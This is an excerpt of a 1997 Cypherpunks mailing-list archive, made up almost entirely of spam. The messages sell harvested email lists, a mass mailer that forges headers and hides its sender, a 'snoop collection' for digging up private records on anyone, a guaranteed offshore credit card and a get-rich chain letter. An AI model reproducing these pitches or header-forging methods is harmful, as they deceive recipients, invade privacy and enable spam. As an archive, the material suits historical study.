will be impressed with what it teaches, I am willing to send it to 
you totally without risk. Here's my no questions asked money 
back guarantee to YOU. Get the publication, study it, apply what 
it teaches, keep it for a full 90 days! If YOU have not received what 
you feel is  a quality, detailed, informative, complete program, 
Simply return the complete publication in its original condition and 
I will gladly refund your order price less shipping and handling. 
YOU cannot lose with this total satisfaction, complete, no 
questions asked, money back guarantee. You see, I absolutely 
refuse to have any unhappy customers. 

YOU risk nothing --- the risk is all mine.

What could be fairer than that?

Sincerely,

Britt S. Phillips
President

(c) 1997 Virginia Claims Corporation, All rights reserved.

     - - - CUT HERE AND PRINT THIS PAGE TO ORDER- - - - 
                       
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      90 DAY FREE EXAMINATION CERTIFICATE 
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

(     )  Yes! I would like to take action and order your publication. 
If for any reason I'm not completely satisfied with . . .
                       "How to E-X-P-O-S-E Infidelity" 
I can just return it in its original condition during the next 90 days 
and you'll cheerfully buy it back and refund my $19.95 in full ---
less s&h no questions asked and no hard feelings.

Use this simple ordering  format (and please print clearly) :

Name:_________________________________________

Address:_______________________________________

City, State, Zip:_________________________________

E-mail address:_________________________________
Please include so that we may confirm receipt of your order.

Make check or money order payable to: 

Virginia Claims Corporation

Send your order to:    Virginia Claims Corporation
                                  Dept. M2
                                 11232 Midlothian Turnpike, Suite 220 
                                 Richmond, VA 23235-4714

Your order will be processed promptly and delivered to you 
by Special Priority Mail.

Thanks for your order!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 62376898@compuserve.com
Date: Sat, 24 May 1997 13:59:29 -0700 (PDT)
To: 110155.2409@compuserve.com
Subject: Unbelievable !
Message-ID: <3218021673627.GAA08056@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain




      ***  Attention Internet Marketers ... Look no further.  ***

    30 MILLION PLUS E-MAIL ADDRESSES - ONLY US$149!


(Please Note: introductory offer - we encourage you to act soon.)


WorldWide Marketing Group is pleased to finally offer to the direct marketer,
the culmination of its intensive 6 month long project in compiling the single
largest e-mail address list available anywhere - over 30 million e-mail
addresses free of duplicates, one per line and alphabetically sorted - for
only US$149! This is real... there is NO catch!

This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft
Network and general Internet addresses, is split into 120 easily manageable
zip-files of 250,000 addresses each and is delivered to you on CD-ROM via
regular mail (..sorry, but the sheer size of this list makes it unfeasible
to deliver via diskette or allow downloading via FTP).

Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO
trailing or embedded white noise characters, NO garbage addresses with more
than one '@' character, NO embedded parentheses '(' or ')', NO addresses
beginning with non-valid characters (..addresses must begin with 0-9 or a-z),
and all are in lower-case.

Once unzipped using PKUNZIP (included), or WinZip (evaluation version for
Win95 included), these files are ready for use with your favorite bulk
mailing software (ie. ExtractorPro, Stealth mailer, FloodGate, etc).

Indeed, this is absolutely the *best* offer around for the direct marketer,
and will finally put the little guy on even ground with even the biggest
bulk e-mailers!

Bulk e-mail is still in its infancy and is the new wave in cost-effective
global marketing. This huge list offers a whole world of vast potential sales
for you and your products - get on board now before you find yourself left
behind. We wish you success and we'll see you at the top!



To order via e-mail, please send a message first to:

worldwide@savetrees.com

. and we will respond to you with instructions on how to e-mail to us your
credit card number (Visa/Mastercard/American Express) in a secure manner.

Or to order via regular mail, please send bank draft, money order (..sorry,
no personal or business cheques please) or your credit card information to:

                           
                        Worldwide Marketing Group
                                  Box 48029
                                  Bedford, NS
                              Canada B4A 3Z2


Thank you very much and sorry for the intrusion...


Sincerely,
   Worldwide Marketing Group


P.S: Please allow a couple of weeks for delivery as we are 
        experiencing a large backlog of orders.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 30375650@themoon.com
Date: Sat, 24 May 1997 23:35:08 -0700 (PDT)
To: you@yourplace.com
Subject: Send your email at up to 250,000 messages / hour
Message-ID: <199702170035.GAA08056@themoon.com>
MIME-Version: 1.0
Content-Type: text/plain


=================================================
=  LIST REMOVAL INSTRUCTIONS..         
=  If you would like to be removed from         
=  our list permanently, send an email to     
=           remmee@answerme.com              
=  For correspondence, please do not hit reply.
=================================================
                 SEND YOUR E-MAIL OUT, AT up to 250,000 +
                    MESSAGES / HOUR (28.8k modem)

                        Yes, 250,000 + Messages An Hour  
	  
	            125,000 / Hour With a 14.4k Modem
		
	        Over 1,000,000 / Hour with an ISDN Connection 



That's right, we believe that there should be little or no restrictions
on Internet communications and email!  This software demonstrates 
the notion of unlimited, uncensored, and unrestricted, bullet-proof email use.
 
 
>>>Introducing.. "STEALTH MASS MAILER"...

Do not get this program confused with other slow speed programs
that call themselves "STEALTH". This program is the only one
in the world that can send email out at HIGH SPEEDS with one
single connection to the internet. 


This is NEW, Cutting Edge Email Technology. First Of It's Kind..
The Most Powerful BULK EMAIL SENDER In The World..
NOTHING CAN EVEN COME CLOSE!
 
Thanks to the countries top programmer's, this technology is NOW 
available and we are the only place you can get it from!


+ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED.

 
+NO MORE TERMINATED CONNECTIONS.


+NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL.


+IMMEDIATE RESPONSE TO YOUR MASS MAILINGS.


+YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE
OF SENDING EMAIL THE WAY IT SHOULD BE SENT...
IN HUGE AMOUNTS!


+SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 
500,000 OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR 
YOUR ORDERS TO POUR IN.


+SEND EMAIL OVER 10 TIMES FASTER THAN EVER BEFORE.


+NO MORE DOWNLOADING UNDELIVERABLE NAMES.


Also, you will be happy to know that regardless of which bulk 
e-mail software program you own, you will be able to incorporate 
this technology with it, as long as you can export your list of recipients 
to a text file ( 1 address per line ). The program requires Windows 95 
or NT and will not work with Windows 3.x. 


Bulk Emailer's Dream Come True!!! - >>>STEALTH - MASS MAILER

Connect to multiple mail servers, make multiple connections to a 
single server or any combination of the two ( All Simultaneously )
with one single dial-up connection.

After your message is sent out by the selected mail server(s), you can 
then have it relayed through another mail server or through multiple 
mail servers, in any server order you choose. 


   SEND MULTIPLE SIMULTANEOUS MAILINGS...

View complete details about your mailings. Shows each server your 
connected to, the status of that connection, how many message are 
going out through that connection, etc...

NOTE: You only need one dial-up connection, and you can send
email out through over 4,000 service providers accounts FREE!

We show you ALL the tricks all the mass emailers don't want you 
to know... 

Here are just a few features the STEALTH MASS MAILER
offers to you... 

   +Forge the Header - Message ID - ISP's will Spin their wheels.

   +Add's a Bogus Authenticated Sender to the Header.

   +Add's a complete bogus Received From / Received By line with 
   real time / date stamp and recipient to the Header.

   +Does NOT require a valid POP Account be entered in order to 
   send your mailings.

   +Easy to use and operate 

   Plus much more!

   

All this, at speeds of up to 250,000 messages / hour ( 28.8k modem ). 

   +Get better through put than a T1 line, using a 128 ISDN line ( save 
   thousands per month )

   +Personalized mail feature will be available soon - Free upgrade when 
   released. 


Available Now for Immediate shipment - Your Competitor(s) may 
already own The STEALTH Mass Mailer - ORDER YOURS NOW - Or 
Get Left In The Dust !!!

Well, how much is the STEALTH MASS MAILER..$3,000?
WE COULD EASILY CHARGE THAT MUCH...
THIS SOFTWARE IS INVALUABLE TO ONLINE MARKETERS
ALL OVER THE WORLD!

SPECIAL INTRODUCTORY PRICE...

NOW YOU CAN HAVE THE STEALTH MASS MAILER FOR
JUST $499.00! 

 
UPDATE ... SAVE $100 AND ORDER NOW, BE ONE OF THE FIRST 
100 ORDERS!

Step up to the plate and play with the big boys TODAY and receive 
the complete STEALTH MASS MAILER PACKAGE for the unbelievably
low price of ONLY $399!

(Other bulk email software has sold for as much as $2,500 and can't 
even come close to the STEALTH'S cutting edge  technology of EASE,
ACCURACY AND SPEED ... SPEED ... SPEED!)

MONEY BACK GUARANTEE: Try the Stealth Mass Mailer for 10 days. 
If you're not delighted return the package for a full refund. 

All STEALTH users receive 2 FULL HOURS technical support.  
 

**SPECIAL BONUS #1: STOP Losing ISP Dial Up Accounts!

If you order The STEALTH Mass Mailer within the next 5 days - When 
you receive your Permanent Unlock Code for the program, you will 
also receive: 

Complete instructions on "how to keep your dial up account from 
showing up in the header", plus everything you will need to get started 
doing this.

IMPORTANT NOTICE!
We will initially only be offering 100 copies of the program for sale, First 
come / First Served basis only. We are doing this because of the extreme
power that this program offers the potential for trouble. After the first 
100 copies are sold, there will be a 30 day waiting period, after which 
time we will decide whether or not to continue selling the program.

HURRY ... RESERVE YOURS TODAY!

Simply fill out the EZ ORDER FORM below and follow instructions...

 
***SPECIAL BONUS #2 INCLUDED***

ORDER TODAY AND WE'LL INCLUDE 100,000  
EMAIL ADDRESSES JUST FOR ORDERING NOW!!!
SEND THEM OUT IN LESS THAN 30 MINUTES GUARANTEED! 

___________________________________

So if you are interested in taking advantage of the most powerful bulk
email software in the world.....

Print out the EZ ORDER  form below and FAX or MAIL it to our office.

We accept Checks by Fax and Mail.


--------------------------------
E-Z ORDER FORM


 _____ Yes!  I would like to try your cutting-edge software so that I can
 advertise my business to hundreds of thousands of people online as often 
 as I wish!  I understand that I have 10 days to trial the software. If I am 
 not fully delighted, I will receive full money back, no questions asked!  
 Please rush me the STEALTH MASS MAILER package now!
 
 _____ I am ordering today! That qualifies me to receive the STEALTH 
 MASS MAILER package at a substantial discount. I am ordering the 
 software for only $399.00. ( our regular price $499.00, save $100 ...
 Much weaker Software has sold for as much as $2499.95). Also include
 my 100,000 targeted email addresses FREE!

 _____I want to receive the package OVERNIGHT. I'm including $12.50
for shipping charges.


                                                             EZ Order Form:


YOUR NAME_________________________________________________________

COMPANY NAME_____________________________________________________

YOUR POSITION______________________________________________________

STREET ADDRESS_____________________________________________________

CITY, STATE, ZIP______________________________________________________

PHONE NUMBERS______________________________________________________

FAX NUMBERS_________________________________________________________

EMAIL ADDRESSES_____________________________________________________

We accept Checks, Money Orders and Visa, MasterCard or AMX by mail or fax.
All checks will be held until cleared.  For fastest service use
credit card or money order.

I agree to pay Gulf Coast Marketing an additional $27 fee if my check is returned
for insufficient or uncollectable funds.

SIGNATURE: X_________________________________DATE:__________________

Please send all order forms and check, money order or credit card authorization to:

Mitchell Enterprises
8867 Highland Rd. Suite 2A
Baton Rouge, LA 70808



************************************************************

OR:

Fax Your Credit Card Authorization to:

504-767-2747

Visa____MasterCard____American Express____
Account #
Expiration Date
Address (as it appears on the card)
Zip (as it appears or the card)
Signature__________________________

****************************************************************
OR

Fax Your Check to:

504-767-2747

(For faxed checks, tape check here)
-----------------------------------------------------------------------




        TAPE FAXED CHECK HERE




-------------------------------------------------------------------------


-

Shipping Charges:

Priority add $3.00
Overnight add $12.00

______________________________________________









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: file130@ibm.net
Date: Sun, 25 May 1997 03:22:11 -0700 (PDT)
To: folks@ibm.net
Subject: Sunshine, pools and palm trees
Message-ID: <ZC68106AA56AA25@eve.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


There's a place near Palm Springs, California where palm trees sway, 
sparkling hot mineral pools dance in the sunlight and your worries melt
away with the special touch of our world class staff. Spacious rooms, 
soothing massages, facials, and body therapies await you. 

We have two mineral water wells that continuously pump hot water into
8 pools, (one is Olympic size).

To immediately receive a discount and get a FREE cool T-shirt mailed 
to you, call the Desert Hot Springs Spa Hotel at 1-800-808-7727 and
mention the Internet offer.

Visit our web site at http://www.dhsspa.com or send us an email to
Spas@earthlink.net for more information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 25 May 1997 01:38:19 -0700 (PDT)
To: Friend@public.com
Subject: Check this one out!
Message-ID: <199705250837.EAA31134@netrail.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://www.moscowlive.com/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]</B></PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 25 May 1997 11:40:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Too few Cypherpunks nodes
Message-ID: <199705251846.OAA18559@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov@algebra.com) wrote:

>> To subscribe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo@algebra.com, 
>>majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM4iHVDltEBIEF0MBAQFeuQf+NrK46h+hfep/FXS4UoiGvw4Od9p6txRI
NY+2TUlzGbpY7/okLHhNACLx2g4TKmcNFMUYYPDn3cfcTbVjRGYAwAxhDViY43DC
7dD5XzBx/dAREHWd7pqK7JPJLSYgd8MqKMbiZy2PDWLcbUyS0gk9YPLStRhjSrKl
WGtQtXYYJxlOD27RQnWHMoPkt76PuXsts0/qv7tt3fuuakW6mZx/ebZ/3vquR5sC
YbxHVul2PcKHLixOPo/uduOCntz58LXe4k9cZFNs1/YbxcsNWQVPL4rx9jY7F8BE
4/DFZtvplY8XqVLc3EvMd2KQRyefXGxF+owEAjKjO8HlZUAVO54k3w==
=XDyj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 25 May 1997 12:38:36 -0700 (PDT)
To: Friend@public.com
Subject: You have got to check this one out!
Message-ID: <199705251934.TAA392758@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://www.moscowlive.com/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]</B></PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TaxBuster Guide <taxfree@futuregate.com>
Date: Sun, 25 May 1997 16:29:54 -0700 (PDT)
To: Victims of Federal Income Tax <cyholland@aol.com>
Subject: Income Tax Newsletter - May
Message-ID: <199705252329.QAA18210@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The newsletter this month got so long that I decided to put it up on the web rather then send it out this way. It is an in-depth article on the history of the Federal Income Tax. For anyone with an interest in reducing taxation, it is worth a read.

http://FutureGate.com/tax_buster/history1.html

Best Regards, Jon

_________________________________________________________________

Also, there may have been some REMOVE requests that I did not receive in April, if you are one of those, or, you would like to be removed at this time, just hit reply and send. You will be automatically placed in a permanent REMOVE file.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: investigations25.com@lsbsdi1.lightspeed.net
Date: Tue, 27 May 1997 05:25:32 -0700 (PDT)
To: call.916.876.4285@investigations.com
Subject: WARNING  -- ARE YOU BEING INVESTIGATED ???
Message-ID: <777gy7qweyt223m76.23444665@free.speach.com>
MIME-Version: 1.0
Content-Type: text/plain



Learn EVERYTHING about your friends, neighbors, enemies,
employees or anyone else! -- even your boss! -- even yourself!

My mammoth SNOOP COLLECTION of internet sites will
provide you...

*  Over 200 giant resources to look up people, credit,
    social security, current or past employment,
    mail order purchases, addresses, phone numbers,
	maps to city locations...
	
	it's incredible...
	
* Track down an old debt, or anyone else that has done
   you wrong!

* Locate an old friend (or an enemy who is hiding)
   or a lost love -- Find e-mail, telephone or address
   information on anyone! Even look up *unlisted* phone
   numbers!

* Investigate your family history!
   Check birth, death, adoption or social security records
   Check service records of Army, Navy, Air Force or
   Marine Corps.

*  Enjoy the enchantment of finding out a juicy tid-bit
   about a co-worker.

*  Check out your daughter's new boyfriend!

*  Find trial transcripts and court orders!

*  Find WORK by searching classified ads ALL OVER THE WORLD!

*  SCREEN prospective employees --
   Check credit, driving or criminal records
   Verify income or educational accomplishments


The Internet is a POWERFUL megasource of information, if you
only know WHERE to look.  I tell you how to find out nearly
ANYTHING about anybody, and tell you exactly where to find it!

You will be amazed to find out what PERSONAL information
other people can find out about YOU! Check your credit report
so you can correct WRONG information that may be used to
deny you credit.

Research YOURSELF first! You'll be horrified, as I was, at
how much data has accumulated about you.

If you believe (like I do) that the information that is
stored about EACH ONE OF US should be freely accessible,
you'll want to see the SNOOP COLLECTION I've compiled.
Verify your own records, or find out what you need
to know about others.

And my huge collection is ONLY THE BEGINNING! Once you locate
these FREE private, college and government web sites, you'll
find even MORE links to even MORE information search engines!

I'm telling you, it's incredible what you can find out using
the internet!

 
  FOUR WAYS TO ORDER     
 
  
 
  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
  
 

 
  SEND >>> ALL <<<  OF THE BELOW REQUESTED INFO
 
  
 
  
 
        TYPE OF CARD  AMX/VISA/MC??____________________
  
 
        NAME ON CREDIT CARD___________________________
  
 
       CREDIT CARD #___________________________________
  
 
        WHERE TO SEND BOOK ___________________________
  
 
        BILLING ADDRESS ________________________________
  
 
        CITY_____________________________________________
  
 
        STATE________________ZIP________________________
  
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 34.95 to your account
 
        SALES TAX (2.53) added to CA residents 
 
  
 

 
  >>> Send $34.95 ($37.48 in CA) cash, check or money order to:
 
  
 
  >>> CASINO CHICO
 
  
 
  >>> Background Investigations Division      
 
  >>> 305 Nord Ave.
 
  >>> P.O. Box 4191
 
  >>> Chico, CA 95927-4191



   2) Send the same above requested credit card information to above address. 
 
   3) Fax the same above credit card information to 916-895-8470
 

   4) Call phone # 916-876-4285. This is a 24 hour phone line where you may place 
       a CREDIT CARD order.


 I will RUSH back to you SAME DAY my snoop information

 which will fully explain...



* What information is available -- and exact URL to get there!

* My easy-to-browse, categorized megacenter of information,
  has my own description of how to use each site, and what
  you'll find when you get there -- and tricky tips on how
  to extract the best data!

* Exactly where to look for --  AND THE CLEVER WAY to use -
  the above search engines, and TONS more!

INCLUDING ...

Personal ads, logs of personal e-mail, mention of individuals
anywhere on the internet (including PRIVATE bulletin boards),
lists of resources to find even more information (private
investigators, etc...), how to leverage one database against
another, up-to-the-second news reports on any subject you choose,
and MORE...

   Order surveillance/snoop tools (if legal in your state)
   Send anonymous e-mail
   Research companies or business issues
   Research and discuss the issue of privacy and technology
   Locate military records from Viet Nam, Korea, WW II, etc...
   Search legal opinions, trial transcripts, etc...
   Find Wanted fugitives -- maybe your reclusive neighor!

You can know EVERYTHING about EVERYBODY with
my SNOOP COLLECTION!

ABSOLUTE SATISIFACTION GUARANTEED:
Your satisfaction is 100% guaranteed, just return the material
for a full refund within 30 days if you aren't dazed & amazed.

Copyright 1997 All Rights Reserved














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The.Card@uumx.smtp.psi.net
Date: Sun, 25 May 1997 22:43:53 -0700 (PDT)
To: node4-emailer@nixix.node4-emailer7.com
Subject: 5.95%!!  Believe it!!
Message-ID: <043112553965.UAA43477@ns3.guhert.net>
MIME-Version: 1.0
Content-Type: text/plain


$5000 MAJOR CREDIT CARD... GUARANTEED!!

BAD CREDIT or NO CREDIT?  IT DOESN'T MATTER!!!

EVERYONE QUALIFIES...UNSECURTED CREDIT CARD!!!

*  NO Credit Checks!
*  NO SSN Number Required!
*  NO Income Verification!
*  Bankruptcy  "OK"
*  Major Credit Card $5000 Limit, UNSECURED!!
*  5.95% Interest Rate Per Annum!
*  LINE OF CREDIT...$15,000 UNSECURED!!
*  Offshore For Complete Financial Privacy!
*  WORLDWIDE Acceptance At More Than 8 MILLION Locations!
*  INSTANT CASH ADVANCES At More Than 350,000 Banks & ATM's!!

                          ABSOLUTELY GUARANTEED!!!!!


For complete information AND application go to:

FAX ON DEMAND:  512-505-6832

*************************************************************
*IMPORTANT*  
In order for your application to processed properly, 
please use sponsor id# 000-101-9988-AA
*************************************************************


                          ABSOLUTELY GUARANTEED!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vacation Superstore/Cruise Holidays" <VACATION.SUPERSTORE/CRUISE.HOLIDAYS@mail.mia.bellsouth.net>
Date: Mon, 26 May 1997 03:46:37 -0700 (PDT)
To: "travelers" <vsn@bellsouth.net>
Subject: Travel Deal$
Message-ID: <199705260524.BAA24892@mail.mia.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


EVER SPEND MONEY ON TRAVEL TO FIND 
OUT THAT SOMEONE GOT A BETTER DEAL?

EVER HEAR ABOUT A TRAVEL SALE AFTER
IT EXPIRED OR WAS SOLD OUT?

DON'T MISS OUT! 

RECEIVE A FREE E-MAIL SUBSCRIPTION TO:

TRAVEL DEAL$ NEWSLETTER

WE HAVE INCLUDED A COPY OF OUR MOST RECENT 
ISSUE OF TRAVEL DEAL$ FOR YOU TO EXAMINE.

****************************************************************************************
MAILING LIST INSTRUCTIONS:

If you DO NOT wish to ever hear from us again, - then do nothing!
We will remove you from our mailing list immediately!

If you wish to continue receiving Travel Tips & Deal$ please:  
     Send an e-mail to: VSN@BELLSOUTH.COM
     In the Subject heading type:  SUBSCRIBE DEAL$
     In the body of the letter type: SUBSCRIBE DEAL$

*****************************************************************************************
Here's a sample of our newsletter..
*****************************************************************************************
Hi everyone, from all of us at Vacation Superstore Cruise Holidays!   
We have a lot of cruise deal$ this time in addition to our all-inclusive vacation deal$ and condos.

          *****  CRUISE DEAL$  *****

** Please note that all cruise prices are now quoted to INCLUDE PORT CHARGES
AND GOVERNMENTAL FEES/TAXES.  This should be the practice of all Travel 
Agents effective June 1, 1997.  We are just starting a little early! So please 
remember if you price shop that all prices in our newsletter include port charges 
AND governmental fees/taxes per person.**  

*** Some of our cruise specials are during what is know as Hurricane Season. 
Ask for Details on Cruise Cancellation Insurance that INCLUDES HURRICANE 
COVERAGE from as little as  $ 40.00 per person ! ***

1.  CARNIVAL CRUISE LINES has the following FANTASTIC fall deals. 
       
     A. Carnival Fascination  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Southern Caribbean from San Juan
 
            ONLY $499 Per Person for 2 in a cabin!
            ONLY $408 Per Person for 3 in a cabin!
            ONLY $362 Per Person for 4 in a cabin!                                    
        
            LEAVE ANY SATURDAY FROM SEPT. 6TH - OCT 4TH, 1997

     B. Carnival Sensation  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Eastern Caribbean from Miami 
          October 11th, 1997 Sailing (Veteran's Day)

             ONLY $569 Per Person for 2 in a cabin!
             ONLY $456 Per Person for 3 in a cabin!
             ONLY $399 Per Person for 4 in a cabin!
    
     C. Carnival Destiny  7 Day Eastern Caribbean from Miami, Cruise only
         August 31st, 1997 Sailing (Labor Day)

             Category 4 Inside    ONLY   $  799 per person
             Category 6 Outside  ONLY   $  889 per person
             Category 8 Balcony ONLY   $1,029 per person
             PRICES GUARANTEED ONLY THROUGH JUNE 6TH               


2.  NORWEGIAN CRUISE LINES has the following FANTASTIC fall deals. 
 
      A.  Norwegian Seaward  7 Day Exotic Southern Caribbean from San Juan
            August 31, 1997 Sailing (Labor Day), Inside Cabins

               ONLY  $ 575 per person for 2 in a cabin!
               ONLY  $ 449 per person for 3 in a cabin!
               ONLY  $ 388 per person for 4 in a cabin!

               AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                    (3rd & 4th person in a cabin price slightly higher)

     B. Norwegian Seaward 7 Day Exotic Southern Caribbean from San Juan
          November 23, 1997 Sailing (Thanksgiving), Inside Cabins

              ONLY  $ 599 per person for 2 in a cabin!
              ONLY  $ 499 per person for 3 in a cabin!
              ONLY  $ 449 per person for 4 in a cabin!

              AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                 
3. 5-Star CELEBRITY CRUISE LINES has the following FANTASTIC deals.  

     A.  Celebrity Century 7 day Eastern Caribbean from Ft. Lauderdale
            *** July 5th, 1997 ***  THIS ONE IS HOT!

                Category 9 Inside     $  999 per person 
                Category 4 Outside  $ 1199 per person
                Deposit Deadline is May 29th!
       
     B.  Celebrity Zenith  7 day Bermuda Cruise from New York
           September 20th, 1997

                Inside Cabins from     $ 775 per person
               Outside Cabins from  $ 899 per person

*************************************************************************************

    WINTER 1998 EARLY BOOKING DISCOUNTS !

G U A R A N T E E D   L O W E S T    P R I C E  -  if you place a refundable 
deposit with the Cruise Line and the price goes down (which we are professionally 
telling you is VERY unlikely), then your price goes down - you can't loose when 
you book early through Vacation Superstore!

Look at these Deal$, Prices are guaranteed without deposit until June 15th, unless 
otherwise noted. REMEMBER: PRICES INCLUDE PORT CHARGES & TAXES!

1.  Carnival Tropicale  11 Day  S. Caribbean & Panama Canal from San Juan    
     December 22, 1997 through January 2, 1998
        FROM ONLY $ 1,029 per person, cruise only

2.  Celebrity Horizon  10 Day from Ft. Lauderdale 
     December 26, 1997 through January 5, 1998
       FROM ONLY $ 1,659 per person, cruise only   Deposit Deadline is May 29th!

3.  Carnival Tropicale  10 Day Southern Caribbean from San Juan
     February 13 - 23, 1998  (President's Holiday Week)   HOT DEAL!
       FROM ONLY  $ 799 per person, cruise only  Deposit Deadline is May 29th!

4.  Celebrity Mercury from Ft. Lauderdale (Inaugural Season, Galaxy sister ship)
     February 15 - 22, 1998  7 day Western Caribbean  (President's Week)
       FROM ONLY $ 979 per person, cruise only   UNBELIEVABLE!

5.  Carnival Sensation 7 Day Eastern Caribbean from Miami
     March 7 - 14, 1998 
       FROM ONLY $ 669 per person, cruise only   UNBELEIVABLE!

6.  Carnival Imagination  7 Day Western Caribbean from Miami
     March 14 - 21, 1998
       FROM ONLY $ 729 per person, cruise only   UNBELIEVABLE!

7.  Celebrity Galaxy  7 Day Southern Caribbean from San Juan
     March 21 - 28, 1998
       FROM ONLY $ 875 per person, cruise only   UNBELIEVABLE!
       ASK ABOUT OUR OPTIONAL GOLF PACKAGE AND PLAY
       PLAY 5 OF THE BEST GOLF COURSES IN THE CARIBBEAN!

8.  Carnival Jubilee  7 Day Mexican Riviera from Los Angeles
     April 5 - 12, 1998 (Easter/Passover Vacation)
       FROM ONLY $ 629 per person, cruise only   UNBELIEVABLE!


     ***** ALL INCLUSIVE RESORTS  *****

1. COUPLES, JAMAICA
            7 DAYS, airfare additional
            Deluxe Mountain view Room
            FROM ONLY $1,995 PER COUPLE!
            MANY DATES AVAILABLE,  INCL. HOLIDAYS! 
            Deluxe Oceanview Room only $2,425 per couple.

2. ARUBA:

            TAMAJARIN ARUBA BEACH RESORT
            All Oceanfront Rooms!  Great Winter & Summer Season Rates!
            7 days from  ONLY $1,289 PER PERSON, 
            INCL. EAST COAST AIRFARE!
            
            AMERICANA ARUBA BEACH RESORT & CASINO
            Great Winter & Summer Season Rates!
            7 days from ONLY $1,649 PER PERSON, 
            INCL. EAST COAST AIRFARE!
             
3. BARBADOS

              ALMOND BEACH CLUB & VILLAGE
              Great Winter & Summer Season Rates!
              7 days from only $1,479 PER PERSON,
              INCL. EAST COAST AIRFARE!


    ***** CONDOS *****

1. Florida Condo's from $90.00 per night. Some as large as 1,500
    sq. feet! Call for details.

*********************************************************************
**************** 
Vacation Superstore Network, Cruise Holidays, and 
Travel Tips and Deal$ are registered Trademarks. We are registered in 
the State's of Ohio and Florida and are members of CLIA (Cruise Line 
International Association). 

All payments made to Vacation Superstore/Cruise Holidays are remitted 
immediately to the Vacation supplier for your protection. Ask for details.
                                                                       
Travel Tips and Deal$ can be seen locally on Florida's Treasure Coast 
on WTCN-TV, Channel 16, Stuart, Florida.

*************************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alpine Sys" <a_i_s@hotmail.com>
Date: Wed, 28 May 1997 01:56:42 -0700 (PDT)
To: curryt@po2.nawc-ad-indy.navy.mil
Subject: make $50,000
Message-ID: <199705280851.BAA08903@f35.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


I received this email a few weeks back and after some thought I decided it was 
worth a try.  Please take the time to read through this and then make up your 
own mind.  Thanks.

The following income opportunity is one you may be interested in taking a look 
at.  It can be started with VERY MINIMAL outlay and the income return is 
TREMENDOUS!
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial 
problems.  I owed my family, friends, and creditors over $35,000.  The economy 
was taking a toll on my business and I just couldn't seem to make ends meet.  I 
had to refinance and borrow against my home to support my family and struggling 
business.  I truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to share my 
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

